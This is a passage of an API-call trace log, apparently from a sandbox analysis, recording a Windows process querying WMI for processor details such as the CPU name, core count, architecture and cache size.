(This=0x1b21fe80) returned 0x3 [0168.689] IUnknown:Release (This=0x1b21fe80) returned 0x2 [0168.690] CoTaskMemFree (pv=0x1b1dd610) [0168.690] CoGetContextToken (in: pToken=0x1afbbc80 | out: pToken=0x1afbbc80) returned 0x0 [0168.690] IUnknown:AddRef (This=0x1b21fe80) returned 0x3 [0168.692] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="__GENUS", lFlags=0, pVal=0x1afbc240*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1afbc368*=0, plFlavor=0x1afbc360*=0 | out: pVal=0x1afbc240*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1afbc368*=3, plFlavor=0x1afbc360*=64) returned 0x0 [0168.697] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="__PATH", lFlags=0, pVal=0x1afbc1f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1afbc320*=0, plFlavor=0x1afbc318*=0 | out: pVal=0x1afbc1f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\root\\CIMV2:Win32_Processor.DeviceID=\"CPU0\"", varVal2=0x0), pType=0x1afbc320*=8, plFlavor=0x1afbc318*=64) returned 0x0 [0168.699] SysStringByteLen (bstr="\\\\XC64ZB\\root\\CIMV2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x66 [0168.699] SysStringByteLen (bstr="\\\\XC64ZB\\root\\CIMV2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x66 [0168.700] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc268 | out: ppv=0x1afbc268*=0x77dd58) returned 0x0 [0168.700] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc258 | out: pAptType=0x1afbc258*=1) returned 0x0 [0168.700] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc260 | out: ppvObject=0x1afbc260*=0x0) returned 0x80004002 [0168.700] IUnknown:Release (This=0x77dd58) returned 0x1 [0168.702] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbb658 | out: ppv=0x1afbb658*=0x1b1ff910) returned 0x0 [0168.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b1ff910, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb740 | out: ppvObject=0x1afbb740*=0x0) returned 0x80004002 [0168.703] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b1ff910, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb718 | out: ppvObject=0x1afbb718*=0x7b4180) returned 0x0 [0168.703] WbemDefPath:IUnknown:Release (This=0x1b1ff910) returned 0x0 [0168.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b4180, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb4c0 | out: ppvObject=0x1afbb4c0*=0x7b4180) returned 0x0 [0168.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b4180, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb550 | out: ppvObject=0x1afbb550*=0x0) returned 0x80004002 [0168.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b4180, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbad48 | out: ppvObject=0x1afbad48*=0x0) returned 0x80004002 [0168.703] WbemDefPath:IUnknown:AddRef (This=0x7b4180) returned 0x3 [0168.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b4180, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbac08 | out: ppvObject=0x1afbac08*=0x0) returned 0x80004002 [0168.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b4180, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbab90 | out: ppvObject=0x1afbab90*=0x0) returned 0x80004002 [0168.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b4180, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbab80 | out: ppvObject=0x1afbab80*=0x1b1ff5b0) returned 0x0 [0168.703] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b1ff5b0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbaba8 | out: pCid=0x1afbaba8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0168.703] WbemDefPath:IUnknown:Release (This=0x1b1ff5b0) returned 0x3 [0168.703] CoGetContextToken (in: pToken=0x1afbac30 | out: pToken=0x1afbac30) returned 0x0 [0168.704] CoGetContextToken (in: pToken=0x1afbb0b0 | out: pToken=0x1afbb0b0) returned 0x0 [0168.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b4180, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb170 | out: ppvObject=0x1afbb170*=0x0) returned 0x80004002 [0168.704] WbemDefPath:IUnknown:Release (This=0x7b4180) returned 0x2 [0168.704] WbemDefPath:IUnknown:Release (This=0x7b4180) returned 0x1 [0168.704] CoGetContextToken (in: pToken=0x1afbbea0 | out: pToken=0x1afbbea0) returned 0x0 [0168.704] CoGetContextToken (in: pToken=0x1afbbda0 | out: pToken=0x1afbbda0) returned 0x0 [0168.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b4180, riid=0x1afbbf00*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbbed0 | out: ppvObject=0x1afbbed0*=0x7b4180) returned 0x0 [0168.704] WbemDefPath:IUnknown:AddRef (This=0x7b4180) returned 0x3 [0168.704] WbemDefPath:IUnknown:Release (This=0x7b4180) returned 0x2 [0168.704] WbemDefPath:IWbemPath:SetText (This=0x7b4180, uMode=0x4, pszPath="\\\\XC64ZB\\root\\CIMV2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x0 [0168.704] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc288 | out: puCount=0x1afbc288*=0x2) returned 0x0 [0168.704] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc280*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc280*=0xf, pszText=0x0) returned 0x0 [0168.704] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc280*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc280*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.707] CoGetContextToken (in: pToken=0x1afbc050 | out: pToken=0x1afbc050) returned 0x0 [0168.707] WbemLocator:IUnknown:Release (This=0x1b207208) returned 0x1 [0168.707] IUnknown:Release (This=0x7fac20) returned 0x0 [0168.754] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.754] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.754] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.756] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Name", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299c430*=0, plFlavor=0x299c434*=0 | out: pVal=0x1afbc2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", varVal2=0x0), pType=0x299c430*=8, plFlavor=0x299c434*=0) returned 0x0 [0168.756] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0168.756] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0168.756] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Name", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299c430*=8, plFlavor=0x299c434*=0 | out: pVal=0x1afbc340*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", varVal2=0x0), pType=0x299c430*=8, plFlavor=0x299c434*=0) returned 0x0 [0168.756] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0168.756] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0168.764] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.764] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.764] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.764] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Name", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299e5e8*=0, plFlavor=0x299e5ec*=0 | out: pVal=0x1afbc2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", varVal2=0x0), pType=0x299e5e8*=8, plFlavor=0x299e5ec*=0) returned 0x0 [0168.764] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0168.764] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0168.764] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Name", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299e5e8*=8, plFlavor=0x299e5ec*=0 | out: pVal=0x1afbc340*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", varVal2=0x0), pType=0x299e5e8*=8, plFlavor=0x299e5ec*=0) returned 0x0 [0168.764] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0168.764] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0168.766] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.766] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.767] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.767] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Description", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299e7c8*=0, plFlavor=0x299e7cc*=0 | out: pVal=0x1afbc2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel64 Family 6 Model 85 Stepping 4", varVal2=0x0), pType=0x299e7c8*=8, plFlavor=0x299e7cc*=0) returned 0x0 [0168.767] SysStringByteLen (bstr="Intel64 Family 6 Model 85 Stepping 4") returned 0x48 [0168.767] SysStringByteLen (bstr="Intel64 Family 6 Model 85 Stepping 4") returned 0x48 [0168.767] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Description", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299e7c8*=8, plFlavor=0x299e7cc*=0 | out: pVal=0x1afbc340*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel64 Family 6 Model 85 Stepping 4", varVal2=0x0), pType=0x299e7c8*=8, plFlavor=0x299e7cc*=0) returned 0x0 [0168.767] SysStringByteLen (bstr="Intel64 Family 6 Model 85 Stepping 4") returned 0x48 [0168.767] SysStringByteLen (bstr="Intel64 Family 6 Model 85 Stepping 4") returned 0x48 [0168.767] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.767] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.767] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.767] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Description", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299e910*=0, plFlavor=0x299e914*=0 | out: pVal=0x1afbc2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel64 Family 6 Model 85 Stepping 4", varVal2=0x0), pType=0x299e910*=8, plFlavor=0x299e914*=0) returned 0x0 [0168.767] SysStringByteLen (bstr="Intel64 Family 6 Model 85 Stepping 4") returned 0x48 [0168.767] SysStringByteLen (bstr="Intel64 Family 6 Model 85 Stepping 4") returned 0x48 [0168.767] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Description", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299e910*=8, plFlavor=0x299e914*=0 | out: pVal=0x1afbc340*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel64 Family 6 Model 85 Stepping 4", varVal2=0x0), pType=0x299e910*=8, plFlavor=0x299e914*=0) returned 0x0 [0168.767] SysStringByteLen (bstr="Intel64 Family 6 Model 85 Stepping 4") returned 0x48 [0168.767] SysStringByteLen (bstr="Intel64 Family 6 Model 85 Stepping 4") returned 0x48 [0168.768] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.768] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.768] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.768] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="NumberOfCores", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299eb00*=0, plFlavor=0x299eb04*=0 | out: pVal=0x1afbc2f0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x299eb00*=19, plFlavor=0x299eb04*=0) returned 0x0 [0168.768] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="NumberOfCores", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299eb00*=19, plFlavor=0x299eb04*=0 | out: pVal=0x1afbc340*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x299eb00*=19, plFlavor=0x299eb04*=0) returned 0x0 [0168.770] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.770] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.770] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.770] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="NumberOfCores", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299ef20*=0, plFlavor=0x299ef24*=0 | out: pVal=0x1afbc2f0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x299ef20*=19, plFlavor=0x299ef24*=0) returned 0x0 [0168.770] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="NumberOfCores", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299ef20*=19, plFlavor=0x299ef24*=0 | out: pVal=0x1afbc340*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x299ef20*=19, plFlavor=0x299ef24*=0) returned 0x0 [0168.770] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.770] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.770] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.770] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="NumberOfLogicalProcessors", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f2f8*=0, plFlavor=0x299f2fc*=0 | out: pVal=0x1afbc2f0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x299f2f8*=19, plFlavor=0x299f2fc*=0) returned 0x0 [0168.770] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="NumberOfLogicalProcessors", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f2f8*=19, plFlavor=0x299f2fc*=0 | out: pVal=0x1afbc340*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x299f2f8*=19, plFlavor=0x299f2fc*=0) returned 0x0 [0168.771] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.771] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.771] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.771] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="NumberOfLogicalProcessors", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f3d0*=0, plFlavor=0x299f3d4*=0 | out: pVal=0x1afbc2f0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x299f3d0*=19, plFlavor=0x299f3d4*=0) returned 0x0 [0168.771] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="NumberOfLogicalProcessors", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f3d0*=19, plFlavor=0x299f3d4*=0 | out: pVal=0x1afbc340*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x299f3d0*=19, plFlavor=0x299f3d4*=0) returned 0x0 [0168.771] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.771] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.771] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.771] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Architecture", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f548*=0, plFlavor=0x299f54c*=0 | out: pVal=0x1afbc2f0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), pType=0x299f548*=18, plFlavor=0x299f54c*=0) returned 0x0 [0168.771] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Architecture", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f548*=18, plFlavor=0x299f54c*=0 | out: pVal=0x1afbc340*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), pType=0x299f548*=18, plFlavor=0x299f54c*=0) returned 0x0 [0168.772] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.772] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.772] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.772] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Architecture", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f620*=0, plFlavor=0x299f624*=0 | out: pVal=0x1afbc2f0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), pType=0x299f620*=18, plFlavor=0x299f624*=0) returned 0x0 [0168.772] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Architecture", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f620*=18, plFlavor=0x299f624*=0 | out: pVal=0x1afbc340*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), pType=0x299f620*=18, plFlavor=0x299f624*=0) returned 0x0 [0168.772] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.772] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.772] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.773] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="L2CacheSize", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f7b0*=0, plFlavor=0x299f7b4*=0 | out: pVal=0x1afbc2f0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f7b0*=19, plFlavor=0x299f7b4*=32) returned 0x0 [0168.773] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="L2CacheSize", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, 